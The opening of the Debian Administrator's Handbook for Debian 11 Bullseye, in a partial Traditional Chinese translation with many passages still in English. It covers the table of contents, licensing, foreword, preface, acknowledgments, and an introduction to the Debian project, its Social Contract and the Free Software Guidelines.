Debian管理者手冊

內容目錄

序

前言

1. Debian 專案

1.1. Debian 是什麼？

1.2. 基金會文件

1.3. Debian 的內部作業

1.4. 跟著 Debian 最新消息

1.5. 散佈版的角色

1.6. 釋出週期

2. 個案呈現

2.1. 高速成長的資訊科技需求

2.2. 總體規畫

2.3. 為什麼選擇 GNU/Linux 發行版？

2.4. 為什麼選擇 Debian 發行版？

2.5. Why Debian Bullseye?

3. 分析當前設置與移殖

3.1. 在異質環境中共存

3.2. 移殖的方法

4. 安裝

4.1. 安裝方式

4.2. 安裝，一步步來

4.3. 首次啟動之後

5. 套件系統：工具與基本原則

5.1. 執行檔套件的結構

5.2. 軟體套件中介資訊

5.3. 原始套件的結構

5.4. 以 dpkg 管理套件

5.5. 與其他打包系統共存

6. 維護與更新：APT 工具

6.1. 寫入 sources.list 檔案

6.2. aptitude、apt-get、與 apt 命令

6.3. The apt-cache 命令

6.4. The apt-file Command

6.5. 前置：aptitude、synaptic

6.6. 檢查套件真偽

6.7. 升級至下個穩定發行版

6.8. 保持系統在最新狀態

6.9. 自動升級

6.10. 搜尋套件

7. 解決問題與找到相關資訊

7.1. 文件來源

7.2. 通常步驟

8. 基本組態：網路、帳號、列印...

8.1. 組態系統供其他語系使用

8.2. 組態網路

8.3. 設定主機名稱與組態名稱服務

8.4. 使用者與群組資料庫

8.5. 新增帳號

8.6. Shell 環境

8.7. 列表機組態

8.8. 組態 Bootloader

8.9. 其他組態：時間同步、記錄、共享近用…

8.10. 編譯核心

8.11. 安裝核心

9. Unix 服務

9.1. 系統啟動

9.2. 遠端登入

9.3. 管理權限

9.4. 管理介面

9.5. syslog 系統事件

9.6. The inetd 超級伺服器

9.7. 以 cron 和 atd 使用排定的工作

9.8. 排定非同步工作：anacron

9.9. 配額

9.10. 備份

9.11. 熱插拔：hotplug

9.12. 電源管理：進階組態與電源介面 (ACPI)

10. 網路架構

10.1. 閘道器

10.2. X.509 certificates

10.3. 虛擬專用網路

10.4. 品質服務

10.5. Dynamic Routing

10.6. IPv6

10.7. Domain Name Servers (DNS)

10.8. DHCP

10.9. Network Diagnosis Tools

11. Network Services: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

11.1. Mail Server

11.2. Web Server (HTTP)

11.3. FTP File Server

11.4. NFS File Server

11.5. Setting Up Windows Shares with Samba

11.6. HTTP/FTP Proxy

11.7. LDAP Directory

11.8. Real-Time Communication Services

12. 高級管理

12.1. RAID 和 LVM

12.2. 虛擬化

12.3. Automated Installation

12.4. 監控

13. 工作站

13.1. 設置X11伺務器

13.2. Customizing the Graphical Interface

13.3. Graphical Desktops

13.4. Email

13.5. Web Browsers

13.6. Development

13.7. Office Suites

13.8. Emulating Windows: Wine

13.9. Real-Time Communications software

14. 安全性

14.1. Defining a Security Policy

14.2. Firewall or Packet Filtering

14.3. Supervision: Prevention, Detection, Deterrence

14.4. Introduction to AppArmor

14.5. Introduction to SELinux

14.6. Other Security-Related Considerations

14.7. Dealing with a Compromised Machine

15. 建立一個套裝軟體

15.1. Rebuilding a Package from its Sources

15.2. 建立你第一個套裝軟體

15.3. 新增套裝軟體到APT

15.4. 成為套裝軟體維護者

16. 結論：Debian的未來

16.1. 未來發展

16.2. Debian 的未來

16.3. 這本書的未來

A. 衍生產品

A.1. 調查與合作

A.2. Ubuntu

A.3. Linux Mint

A.4. Knoppix

A.5. Aptosid 和 Siduction

A.6. Grml

A.7. Tails

A.8. Kali Linux

A.9. Devuan

A.10. DoudouLinux

A.11. Raspbian

A.12. PureOS

A.13. SteamOS

A.14. 還有更多

B. Short Remedial Course

B.1. Shell 和基本命令

B.2. Organization of the Filesystem Hierarchy

B.3. Inner Workings of a Computer: the Different Layers Involved

B.4. Some Tasks Handled by the Kernel

B.5. The User Space

Debian管理者手冊

Debian Bullseye from Discovery to Mastery

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

版權 © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

版權 © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

版權 © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

ISBN: 979-10-91414-21-0 (English paperback)

ISBN: 979-10-91414-22-7 (English ebook)

本書採用Debian自由軟體指導方針的兩種授權。

創用CC授權說明：.  This book is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.

→ https://creativecommons.org/licenses/by-sa/3.0/

GNU通用公共授權條款說明：.  本書為自由文件：您可於美國自由軟體基金會出版的GNU通用公共授權條款第二版及往後的版本約定下，再散布且修改它。

希望本書對使用者有幫爰，但不保證；甚至不保證其宜於銷售或其他特定目的。詳情見GNU通用公共授權條款。

You should have received a copy of the GNU General Public License along with this program. If not, see https://www.gnu.org/licenses/.

歡迎贊助

This book is published under a free license because we want everybody to benefit from it. That said maintaining it takes time and lots of effort, and we appreciate being thanked for this. If you find this book valuable, please consider contributing to its continued maintenance either by buying a paperback copy or by making a donation through the book's official website:

→ https://debian-handbook.info

摘要

Debian發行版的參考書，從安裝至組態服務。

序

我很高興有這個機會介紹您這本Debian與管理者手冊.許多人選用Debian,網路世界上約有百分之十的伺服器運行Debian.如果包含以Debian為基礎的作業系統,則這個比例來到百分之二十.Debian被國際太空站選用為其作業系統.無論是尖端的物理研究或者是協助種植食物對抗環境污染的專案,Debian皆運用電腦的力量來實現它.

為什麼 Debian 對大公司、研究人員、活動家和愛好者具有吸引力？ 我認為答案在於 Debian擁有靈活性高且強大的社區。

Debian 很靈活。 是的，它提供了一個出色的開箱即用的通用作業系統。 它還提供了根據您工作的任何環境定制 Debian 的工具。無論是雲和容器架構、大量工作站、個人計算機還是設備，Debian 都提供了在該環境中良好工作的靈活性。 您將找到滿足您需求所需的工具和範例。

Debian 社區是不同個人和興趣的聚會場所：來自最大公司的開發人員與志願者、研究人員和用戶一起工作。 無論是安全專家、網絡開發人員、系統程序員還是架構師，我們都有代表。 您可以成為這個社區的一部分。 當您發現 Debian 可以變得更好的方法時，我們歡迎您的貢獻。

我們齊心協力打造世界一流的免費操作系統。 沒有一家公司可以控制 Debian； 沒有任何議程可以定義我們的工作。 相對的，我們每個人都有能力來用各種方式改進 Debian。 感謝您查看我們所建立的內容。 我希望你喜歡它。

本書是探索 Debian 的絕佳方式。 多年來，當朋友們想要更多地了解 Debian 時，我一直向他們推薦它，我很高興有機會更廣泛地推薦它。 本手冊由 Debian 社區的長期成員編寫和維護。 一些致力於開發作業系統的人已經聯合起來幫助您理解它。 當然，這本書是使用類似於 Debian 本身的社區流程開發的，同樣強調自由。

2019年8月

Sam Hartman (Debian 專案 負責人)

前言

Linux has been garnering strength for a number of years now, and its still growing popularity drives more and more users to make the jump. The first step on that path is to pick a distribution. This is an important decision, because each distribution has its own peculiarities, and future migration costs can be avoided if the right choice is made from the start.

基礎知識 Linux 散佈版與 Linux 核心

嚴格說，Linux 只是一個核心，是處於硬體與應用程序之間的核心軟體。

A “Linux distribution” is a full operating system; it usually includes the Linux kernel, an installer program, and most importantly, applications and other software required to turn a computer into a tool that is actually useful.

Debian GNU/Linux 是個適合於大多數使用者的 「泛用型」Linux 散佈版。本書的目的便是介紹它，從而幫助你明智地抉擇。

1. 為什麼寫這本書？

文化： 商業散佈版

Most Linux distributions are backed by a for-profit company that develops them and sells them under some kind of commercial scheme. Examples include Ubuntu, mainly developed by Canonical Ltd.; Red Hat Enterprise Linux, by Red Hat, Inc., child company of IBM; and SUSE Linux , maintained and made commercially available by SUSE Software Solutions Germany GmbH, child company of EQT Partners.

另一方面也存在著 Debian 和 Apache 軟體基金會 (主持 Apache 網頁伺服器的開發) 等單位。Debian 是自由軟體世界的領導者，志願者經由網際網路共同開發它。部份的志願者在不同的公司中帶薪為 Debian 工作，可是 Debian 計畫本身不附屬於任何公司，也沒有任何公司在計畫的事務上擁有更重要的話語權。

Linux has gathered a fair amount of media coverage over the years and is immensely growing, driven for example by the spreading use of virtual servers, embedded systems, and the use of artificial intelligence; it mostly benefits the distributions supported by a real marketing department — in other words, company-backed distributions (Ubuntu, Red Hat, SUSE, and so on). But Debian is far from being a marginal distribution; multiple studies have shown over the years that it is widely used both on servers and on desktops. This is particularly true among web servers where Debian and Ubuntu are the leading Linux distributions.

→ https://w3techs.com/technologies/details/os-linux/all/all

The purpose of this book is to help you discover this distribution. We hope to share the experience that we have gathered since we joined the project as developers and contributors in 1998 (Raphaël) and 2000 (Roland). With any luck, our enthusiasm will be contagious, and maybe you will join us sometime…

本書的第一版 (2004年) 填補了一個空白：完全專注於 Debian 的法語書。當時，還有為法語和英語讀者寫的其他圖書。不幸的是它們幾乎沒有更新過，如今我們再次發現關於 Debian 的好書實在是太少了。我們真誠地希望，本次的英文譯本 (以及包括繁體在內的譯本)，可填補這一空窗並幫助更多使用者。

2. 為誰而寫？

我們試圖讓本書適用於各種類型的讀者。首先，系統管理員 (初學者與老手) 將會在書中找到關於在多種電腦安裝和部署 Debian 的說明。他們也可一瞥 Debian 所能提供的多數服務，以及與該散佈版相關的組態指令與描述規格。了解 Debian 開發中涉及的機制將使讀者得以應付未預期的問題，並且讓他們知道總能從社群中得到幫助。

其它 Linux 散佈版，或其他 Unix 變化版的使用者，將會在書中發現 Debian 的特點，並能在充分受益於此散佈版獨特優勢的同時快速投入實用。

最後，對於已經具備一些 Debian 知識的讀者，且想揭開 Debian 背後社區的神秘面紗，本書將能滿足這個願望。本書可該他們更願意加入為開發者。

3. 一般方法

所有你能找到的適用於 GNU/Linux 的通用文件也適用於 Debian，因為 Debian 包括最常見的自由軟體。不過，作為一個散佈版， Debian 帶來了許多改進，這就是為什么我們寫本書時着重說明如何以「Debian 之道」行事。

按照 Debian 建議的方式做事是很有意思的，但若能理解其基本原理則更好。因此，我們不會僅局限於作業說明上，我們也將說明項目內部的運作機制，以便提供讀者全面和一致的認知。

4. 本書架構

This book is built around a case study providing both support and illustration for all topics being addressed.

y說明 網站、讀者的電子郵件

This book has its own website, which hosts whatever elements that can make it more useful. In particular, it includes an online version of the book with clickable links, and possible errata. Feel free to browse it and to leave us some feedback. We will be happy to read your comments or support messages. Send them by email to <hertzog@debian.org> (Raphaël) and <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

第一章介紹 Debian 計畫的非技術性面並描述其目標與組織。先定義大範圍的框架其他章節才能夠填入更具體的資訊。

第二和第三章提供個案式的大綱。建議新手，先閱讀附錄 B，簡短的補習式課程解釋若干基礎的電腦概念，以及與 Unix 系統有關的概念。

真正的主題，自然是從安裝開始 (第 4 章)；第 5 和第 6 章揭示 Debian 管理者常用的基本工具，諸如 APT 系列工具，讓此散佈版受眾人讚譽有加。這幾章的目標讀者不限專業人員，因為每個人都是家裡的管理者。

第7章是個重要的章；它描述有效地使用文件以及快速理解問題本質以便解決它們的流程。

接下來的幾章詳述系統的內容，從基礎架構與服務(第8至第10章)開始然後進入使用者應用軟體第13章。第12章介紹有關大規模電腦管理者所需知道的進階主題，第14章簡介電腦安全的主題並介紹幾招避免被駭客攻擊。

Chapter 15 is for administrators who want to go further and create their own Debian packages. Finally, Chapter 16 describes the possible future of Debian.

術語 Debian 套件

Debian 套件是包含安裝特定軟體所需檔案的壓縮檔。延伸檔名是.deb，可以用dpkg指令處理。也被稱為二進位套件，包括可以直接處理的檔案 (例如程式或文件)。換句話說，原始套件包括軟體的原始碼需以指令建立其二進位套件。

The present version is already the tenth edition of the book (we include the first four that were only available in French). This edition covers version 11 of Debian, code-named Bullseye. Among the changes, Debian now supports UEFI Secure Boot, providing some extra safety against attacks on the boot infrastructure, and making it easier to install Debian on new computers where Secure Boot is usually enabled by default. Again at the security level, AppArmor, a Mandatory Access Control system that regulates what various applications are allowed to perform, is now enabled by default. All included packages have obviously been updated, including the GNOME desktop, which is now in its version 3.38.

在邊欄加了筆記和評註。它們有很多作用：讓難點引起您的注意、對實例研究作個備註、定義術語、或者只是提醒一下。常用的邊欄如下：

- 基本：提醒應該已瞭解該等資訊；

- 術語：定義技術用語，有時是 Debian 專用語；

- 社群：在計畫內重要的人或角色；

- POLICY: a rule or recommendation from the Debian Policy; This document is essential within the project, and describes how to package software. The parts of the policy highlighted in this book bring direct benefits to users (for example, knowing that the policy standardizes the location of documentation and examples makes it easy to find them even in a new package);

- 工具：代表相關的工具或服務；

- 實踐：理論和實踐不見得總是對應的；這類的邊欄註記我們檢驗的結果。也給詳細而具體的例子；

- 其他的邊欄本身就很明顯：文化、技巧、注意、更多、安全，等。

5. Contributing

This book is developed like a free software project, your input and help are welcome. The most obvious way to contribute is to help translate it into your native language. But that is not the only possibility. You can open bug reports to let us know of mistakes, typos, outdated information, or topics that we should really cover. Or you can submit a merge request with your fix for whatever issue that you identified.

All the instructions to contribute to the book are documented on the book's website:

→ https://debian-handbook.info/contribute/

6. 致謝

6.1. 簡史

2003年，為了出版與 Debian 相關的書Cahier de l'Admin (Admin's Handbook)，在知名的法國出版社 Eyrolles 擔任編輯的 Nat Makarévitch 主動與 Raphaël 連繫。 Raphaël 立即答應撰寫此書。第一版是在2004年10月14日上市相當成功 — 4個月內銷售一空。

Since then, we have released 7 other editions of the French book, one for each subsequent Debian release (except for Debian 9). Roland, who started working on the book as a proofreader, gradually became its co-author.

我們對本書的成功感到滿意，所以也經常希望 Eyrolles 能找人它譯成英文。我們收到海量的評論說本書如何幫助他們開始使用 Debian，所以我們也熱衷於讓本書以同樣的方式造福更多的人。

Alas, no English-speaking editor that we contacted was willing to take the risk of translating and publishing the book. Not put off by this small setback, we negotiated with our French editor Eyrolles and got back the necessary rights to translate the book into English and publish it ourselves. Thanks to a successful crowdfunding campaign, we worked on the translation between December 2011 and May 2012. The “Debian Administrator's Handbook” was born and it was published under a free-software license!

While this was an important milestone, we already knew that the story would not be over for us until we could contribute the French book as an official translation of the English book. This was not possible at that time because the French book was still distributed commercially under a non-free license by Eyrolles.

In 2013, the release of Debian 7 gave us a good opportunity to discuss a new contract with Eyrolles. We convinced them that a license more in line with the Debian values would contribute to the book's success. That wasn't an easy deal to make, and we agreed to set up another crowdfunding campaign to cover some of the costs and reduce the risks involved. The operation was again a huge success and in July 2013, we added a French translation to the Debian Administrator's Handbook.

We would like to thank everybody who contributed to these fund-raising campaigns, either by pledging some money or by passing the word around. We couldn't have done it without you.

To save some paper, 5 years after the fund-raising campaigns and after two subsequent editions, we dropped the list of persons who opted to be rewarded with a mention of their name in the book. But their names are engraved in the acknowledgments of the Wheezy edition of the book:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. 對貢獻者的感謝

This book would not be what it is without the contributions of several persons who each played an important role during the translation phase and beyond. We would like to thank Marilyne Brun, who helped us to translate the sample chapter and who worked with us to define some common translation rules. She also revised several chapters that were desperately in need of supplementary work. Thank you to Anthony Baldwin (of Baldwin Linguas) who translated several chapters for us.

Since Roland and I were too busy to update the book for Debian 11, we used the modest income that we get through donations and sales to hire contributors to do the bulk of the work. Thank you very much to Jorge Maldonado Ventura and Daniel Leidert for the hard work they put into this update.

從校對者得到很多幫助：Daniel Phillips、Gerold Rupprecht、Gordon Dey、Jacob Owens 和 Tom Syroid。他們每個人都檢視多個章節。非常感謝！

Then, once the English version was liberated, of course, we got plenty of feedback and suggestions and fixes from the readers, and even more from the many teams who undertook to translate this book into other languages. Thanks!

也要感謝法文版的讀者給了不錯的評價確認翻譯是值得的：感謝你們 Christian Perrier、David Bercot、Étienne Liétart 和 Gilles Roussi。 Stefano Zacchiroli — 是群眾募資料時的 Debian 計畫領導者 — 值得大大的感謝，解釋了自由 (真的自由) 圖書是非常必需的。

如果您有幸閱讀印本，那麼要感謝 Benoît Guillon、Jean-Côme Charpentier 和 Sébastien Mengin 為書本內頁做了設計。 Benoît 是 dblatex 的上游作者 — 用它來把 DocBook 格式轉換成 LaTeX 格式 (再轉成 PDF 格式)。Sébastien 是此優美佈局的設計師而Jean-Côme 則是 LaTeX 專家以 dblatex 把它轉換為可用的樣式表 。感謝你們的辛勤工作！

最後，感謝 Thierry Stempfel 為每一章帶來的精美圖片，感謝 Doru Patrascu 的漂亮封面。

6.3. 感謝翻譯者

Ever since the book has been freed, many volunteers have been busy translating it to numerous languages, such as Arabic, Brazilian Portuguese, German, Italian, Spanish, Japanese, Norwegian Bokmål, etc. Discover the full list of translations on the book's website: https://debian-handbook.info/get/#other

感謝譯者及其校閱者。您的努力把 Debian 帶給數百萬無法閱讀英文的人。

6.4. Raphaël 的個人謝辭

First off, I would like to thank Nat Makarévitch, who offered me the possibility to write this book and who provided strong guidance during the year it took to get it done. Thank you also to the fine team at Eyrolles, and Muriel Shan Sei Fan in particular. She has been very patient with me, and I learned a lot with her.

The period of the Ulule campaigns were very demanding for me but I would like to thank everybody who helped to make them a success, and in particular the Ulule team who reacted very quickly to my many requests. Thank you also to everybody who promoted the operations. I don't have any exhaustive list (and if I had, it would probably be too long), but I would like to thank a few people who were in touch with me: Joey-Elijah Sneddon and Benjamin Humphrey of OMG! Ubuntu, Florent Zara of LinuxFr.org, Manu of Korben.info, Frédéric Couchet of April.org, Jake Edge of Linux Weekly News, Clement Lefebvre of Linux Mint, Ladislav Bodnar of Distrowatch, Steve Kemp of Debian-Administration.org, Christian Pfeiffer Jensen of Debian-News.net, Artem Nosulchik of LinuxScrew.com, Stephan Ramoin of Gandi.net, Matthew Bloch of Bytemark.co.uk, the team at Divergence FM, Rikki Kite of Linux New Media, Jono Bacon, the marketing team at Eyrolles, and numerous others that I have forgotten (sorry about that).

I would like to address a special thanks to Roland Mas, my co-author. We have been collaborating on this book since the start, and he has always been up to the challenge. And I must say that completing the Debian Administrator's Handbook has been a lot of work…

最後但不是最不重要，謝謝內人，Sophie。他支持我寫這本書也支持我用 Debian。常常拋下他們母子三人 (夜以繼日) 就為了寫書。感謝他的支持並知道自己很幸運擁有他。

6.5. 對 Roland 的致謝

好吧，Raphaël 把很多我的 ‘對外’ 的感謝都先說了。但還是要強調個人對 Eyrolles 的好伙伴們的感激，和他們的合作總是那麼地愉快而順暢。希望他們的優秀建議並沒有在翻譯中被埋沒。

我極度感謝 Raphaël 負責英文版的管理工作。從組織募款活動到書本版面的細節，製作一本譯本比翻譯和校對要多很多工作，Raphaël 把這些工作都做了 (或委派、監督其他人做了)。太感謝了。

也感謝那些對本書直接貢獻的人，例如那些提供澄清和解釋、或者提供翻譯建議。他們多到不勝枚舉，但都能在各個 #debian-* 的 IRC 頻道裡找到。

當然前面這幾部分的人肯定有重複的，但接下來還是要特別感謝直接為 Debian 努力的。沒有他們就沒洧這本書， Debian 作為一個對任何人和所有人開放計畫，至今我依然讚歎不已。

更多的感謝給予我的朋友和客戶，感謝他們諒解我為了這本書而不太理會其他事情，也感謝他們一貫的支持、鼓勵和鼓動。是誰你懂的；謝謝。

最後；我要謝謝那些被我提及而吃驚的人，還是要把我的感謝加給 Terry Pratchett、Jasper Fforde、Tom Holt、William Gibson、Neal Stephenson，與已故的 Douglas Adams。無止盡地享受他們的書使我有能力直接翻譯本書並續寫新的篇章。

章 1. Debian 專案

進入科技層面前，先看看 Debian 專案本身、其目標、方法、以及運作。

1.1. Debian 是什麼？

文化 Debian 名稱的來源

近點看：Debian 不是縮寫字。其名稱是，真實的，結合兩個名字：Ian Murdock 與當時的女朋友 Debra。Debra + Ian = Debian。

Debian 是一套 GNU/Linux 散佈版。我們會在 節 1.5, “散佈版的角色” 討論散佈版的定義，但不是現在，目前只須知道 Debian 是個完整的作業系統，其中包括安裝與管理所需的軟體與系統，而且全都以 Linux 核心與自由軟體 (特別是來自 GNU 專案的自由軟體) 為基礎。

When he created Debian, in 1993, under the leadership of the Free Software Foundation (FSF), Ian Murdock had clear objectives, which he expressed in the Debian Manifesto. The free operating system that he sought would have to have two principal features. First, quality: Debian would be developed with the greatest care, to be worthy of the Linux kernel. It would also be a non-commercial distribution, sufficiently credible to compete with major commercial distributions. This double ambition would, in his eyes, only be achieved by opening the Debian development process just like that of Linux and the GNU project. Thus, peer review would continuously improve the product.

文化 GNU，自由軟體基金會的計畫

The GNU project is a range of free software developed, or sponsored, by the Free Software Foundation FSF, originated by its iconic leader, Dr. Richard M. Stallman. GNU is a recursive acronym, standing for “GNU is Not Unix”.

文化 Richard Stallman

FSF's founder and author of the GNU General Public License (GPL), Richard M. Stallman (often referred to by his initials, RMS), is a charismatic leader of the Free Software movement. Due to his uncompromising positions, he is not unanimously admired, but his non-technical contributions to Free Software (in particular, the legal and philosophical) are respected by all.

1.1.1. 跨平台作業系統

社群 Ian Murdock 的旅程

Ian Murdock 創立 Debian 專案，1993年至1996年的第一任領導者。然後交棒給 Bruce Perens，Ian 扮演較不公開的角色。回到自由軟體社群的幕後，創立 Progeny 公司，意圖行銷 Debian 的衍生版。很不幸，此創投失敗、最後放棄了。做為服務供應者，掙扎幾年後，在 2007 年4月宣告破産。祗有 discover 計畫還活著。它是自動偵測硬體的工具。

Ian Murdock died on 28 December 2015 in San Francisco after a series of worrying tweets where he reported having been assaulted by police. In July 2016 it was announced that his death had been ruled a suicide.

Debian, remaining true to its initial principles, has had so much success that, today, it has reached a tremendous size. Currently, it officially supports nine hardware release architectures and several variations of each architecture known as “flavors”, and also other kernels like FreeBSD, although the FreeBSD-based ports are not part of the set of officially supported architectures either. Furthermore, with more than 31,000 source packages, the available software can meet almost any need, whether at home or in the enterprise.

The sheer size of the distribution can be inconvenient: it is really unreasonable to distribute 18 DVD-ROMs (only containing the packages qualifying as "Free Software") to install a complete version on a standard PC… This is why Debian is increasingly considered as a “meta-distribution”, from which one extracts more specific distributions intended for a particular public: Debian Science for scientific use, Debian Edu for education and pedagogical use in an academic environment, Debian Med for medical applications, Debian Jr. for young children, etc. A more complete list of the sub-projects can be found in 節 1.3.3.1, “Existing Debian Sub-Projects and Blends”, dedicated to that purpose.

這些 Debian 的分門觀係根據定義完善的框架整理而來，因此能保證這些「次散佈版」間沒有煩人的相容性問題。它們皆遵循通用的版本發行規劃。也因為基礎相同，它們皆能利用 Debian 軟體庫中收錄的應用程式輕鬆擴充、補全、與客製化。

所有的 Debian 工具以此方式運作：debian-cd 運作多時由一組 CD-ROMs 納入預選的套件；debian-installer 也是模組化安裝器，容易改裝符合特定需要。APT 從其他來源安裝套件，保證彼此的一致性。

TOOL Creating a Debian CD-ROM/DVD/USB Image

debian-cd creates ISO images of installation media (CD, DVD, Blu-Ray, USB, etc.) ready for use and customizable. Any matter regarding this software is discussed (in English) on the <debian-cd@lists.debian.org> mailing list. The team is led by Steve McIntyre who is handling official Debian ISO builds.

As debian-cd has become a quite complex tool, the simple-cdd package contains a wrapper around it to easily create customized installation media.

基礎 對每部電腦、其架構

The term “architecture” indicates a type of computer (the most well-known include Mac or PC). Each architecture is differentiated primarily according to its processor, usually incompatible with other processors. These differences in hardware involve varying means of operation, thus requiring that software be compiled specifically for each architecture.

Most software available in Debian is written in portable programming languages: the same source code can be compiled for various architectures. In effect, an executable binary, always compiled for a specific architecture, will not usually function on any of the other architectures.

Remember that each program is created by writing source code; this source code is a text file composed of instructions in a given programming language. Before you can use the software, it is necessary to compile the source code, which means transforming the code into a binary (a series of machine instructions executable by the processor). Each programming language has a specific compiler to execute this operation (for example, gcc for the C programming language).

工具 安裝器

debian-installer 是 Debian 安裝程式的名字。它的模組化設計允許在多種安裝環境下使用。由Cyril Brulebois 主持的 <debian-boot@lists.debian.org> 郵寄名單協調其發展。

1.1.2. 自由軟體的品質

Debian follows all of the principles of Free Software, and its new versions are not released until they are ready. Developers do not work upon a set schedule and don't have to rush to meet an arbitrary deadline. People frequently complain of the long time between Debian's stable releases, but this caution ensures that Debian's legendary reliability is met: long months of testing are indeed necessary for the full distribution to receive the “stable” label.

Debian will not compromise on quality: all known critical bugs on key packages are resolved in any new version, even if this requires the initially forecast release date to be pushed back. Optional packages whose critical bugs are not fixed, and thus do not meet the quality requirements, are simply dropped from the stable release.

1.1.3. 法律框架：非營利組織

就法而言，Debian 是美國非營利、志願組織的一個計畫。此計畫由數千名 Debian 發展者 組成，再加上其他貢獻者 (譯者、錯誤報告者、藝術者、插花的發展者等)。

To carry its mission to fruition, Debian has a large infrastructure, with many servers connected across the Internet, offered and hosted by many sponsors.

社群 Debian 背後、SPI 協會、與在地分會

Debian doesn't own any server in its own name, since it is only a project within the Software in the Public Interest (SPI) association, which manages the hardware and financial aspects (donations, purchase of hardware, etc.). Although it was initially created specifically for the Debian project, this association now hosts other free software projects, for example the PostgreSQL database, the Freedesktop.org project for standardization of various parts of modern graphical desktop environments (such as GNOME and KDE Plasma), and the LibreOffice office suite.

→ https://www.spi-inc.org/

在公共利益的軟體協會 SPI 之外，還有很多協會與 Debian 密切合作為其募款，不必把重心全部放在 USA：以 Debian 的話語來說就是 '信任的組織'。此做法避免國際轉帳的成本，也符合此計畫去中央化的本質。

Do not hesitate to join your local association and support the project!

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. 基金會文件

釋出幾年後，Debian 整理其做為自由軟體計畫應遵守的原則。確保其成員都能夠朝著同個方向前進。成為 Debian 發展者之前，必須確認且證明其對於 Debian 基金會文件的支援與執著。

The development process is constantly debated, but these Foundation Documents are widely supported and consensual, and thus rarely change. The Debian constitution also offers other guarantees for their stability: a three-quarter qualified majority is required to approve any amendment.

1.2.1. 使用者的承諾

The project also has a “social contract”. What place does such a text have in a project only intended for the development of an operating system? It is quite simple: Debian works for its users, and thus, by extension, for society. This contract summarizes the commitments that the project undertakes. Let us study them in greater detail:

1. Debian 將始終是 100% 自由的。
做為第一個信條 Debian 現在及未來永遠全部且祗由自由軟體構成。而且，由 Debian 專案發展的軟體，本身，將是自由的。

遠景 軟體之外

The first version of the Debian Social Contract said “Debian Will Remain 100% Free Software”. The disappearance of this last word (with the ratification of Version 1.1 of the contract in April of 2004) indicates the will to achieve freedom, not only in software, but also in the documentation and any other element that Debian wishes to provide within its operating system.

此改變，雖然祗是編輯上的，實際上，卻產生很多影響，特別是移除很多有問題的文件。尤其是，驅動程式的韌體造成的問題：很多是不自由的，卻是相對硬體不可或缺的一部份。

2. 我們將回報自由軟體社羣。
任何 Debian 專案整合在散佈版中的成品，只要有做出任何改善便必定送回原作者 (稱之為「上游」) 手中。也就是說，Debian 與社群攜手合作，而非獨善其身。

社群 上游著者、或 Debian 發展者？

The term “upstream author” means the author(s)/developer(s) of a work, those who write and develop it. On the other hand, a “Debian developer” usually uses an existing work to make it into a Debian package - the term “Debian maintainer” is better suited here.

In practice, there can be overlaps between both roles: the Debian maintainer may write a patch, which benefits all users of the work. In general, Debian encourages those in charge of a package in Debian to get involved in “upstream” development as well (they become, then, contributors, without being confined to the role of simple users of a program). Or the Debian developer creates tools or documentation for the Debian distribution, like packaging helpers (e.g. debhelper) or integration frameworks (e.g. ca-certificates) and becomes an “upstream author” for those creations.

3. 我們絕不隱瞞問題。
Debian is not perfect, and, there will be new problems to fix every day. Debian will keep its entire bug report database open for public view at all times. Reports that people file on-line will promptly become visible to others.

4. 優先考慮我們的使用者及自由軟體。
很難定義此承諾。從某個角度來說，Debian 的決定都是有主見的，廢止發展者提出的輕鬆解決方案若有礙使用者，轉而採用複雜難以執行的。也就是說，使用者與自由軟體的利益，放在第一位。

5. 不符合我們自由軟體規範的作品。
Debian accepts and understands that users may want to use some non-free programs. That is why the project allows usage of parts of its infrastructure to distribute Debian packages of non-free software that can safely be redistributed.

社群 贊成或反對非自由的部份？

The commitment to maintain a structure to accommodate non-free software (i.e. the “non-free” section, see the sidebar 術語主要、奉獻 與 不自由 檔案) is frequently a subject of debate within the Debian community.

批評者認為等同於把人驅離自由軟體，違反祗服務自由軟體的原則。支持者則指出大部份的不自由套件已 '接近自由'，祗多了一兩個惱人的限制 (最常見的是禁止商業使用)。在不自由區塊發行這些作品，我們向著者解釋被納入的作品可擴大其知名度與散布面。然後，客氣地請求變更授權以達成其目標。

After a first and unfruitful attempt in 2004, the complete removal of the non-free section is unlikely to return to the agenda, especially since it contains many useful documents that were moved simply because they did not meet the new requirements for the main section. This is especially the case for certain software documentation files issued by the GNU project (in particular, Emacs and Make). Many modern systems further also require so called “firmware“, small binary files, which are necessary to run specific hardware. Many of these files can also only be found in the non-free section.

自由軟體基金會痛恨非自由區塊，成為拒絕正式推薦 Debian 為自由軟體作業系統的主因。

1.2.2. Debian 自由軟體指導方針

This reference document defines which software is “free enough” to be included in Debian. If a program's license is in accordance with these principles, it can be included in the main section; on the contrary, and provided that free distribution is permitted, it may be found in the non-free section. The non-free section is not officially part of Debian; it is an added service provided to users. A more detailed explanation of the different parts of the Debian archive can be found in the sidebar 術語主要、奉獻 與 不自由 檔案.

在區隔 Debian 納入的軟體類型外，此文件成為權威的自由軟體說明，做為 '自由軟體定義' 的基礎。從時間序來說，此文件為對 '自由軟體' 概念的第一個正式定義。

The GNU General Public License, the BSD License, and the Artistic License are examples of traditional free licenses that follow the 9 points mentioned in this text. Below you will find the text as it is published on the Debian website.

→ https://www.debian.org/social_contract.html#guidelines

1. 自由的再次散佈。.  Debian 元件的許可証不得限制任何一方將此軟體作爲含有 若幹不同來源的程式的一套軟體集合中的一個元件用於銷售或者捐贈。該許可證不得向諸如此類銷售行爲的銷售方索取 專利費或者其它費用。

2. 原始碼。.  程序必須包括原始碼，而且必須允許以原始碼以及預先編譯好的形式散佈。

3. 衍生作品。.  授權必須允許對其所屬作品的修改以及衍生，而且必須允許這些作品在原始軟體的授權條款下散佈。

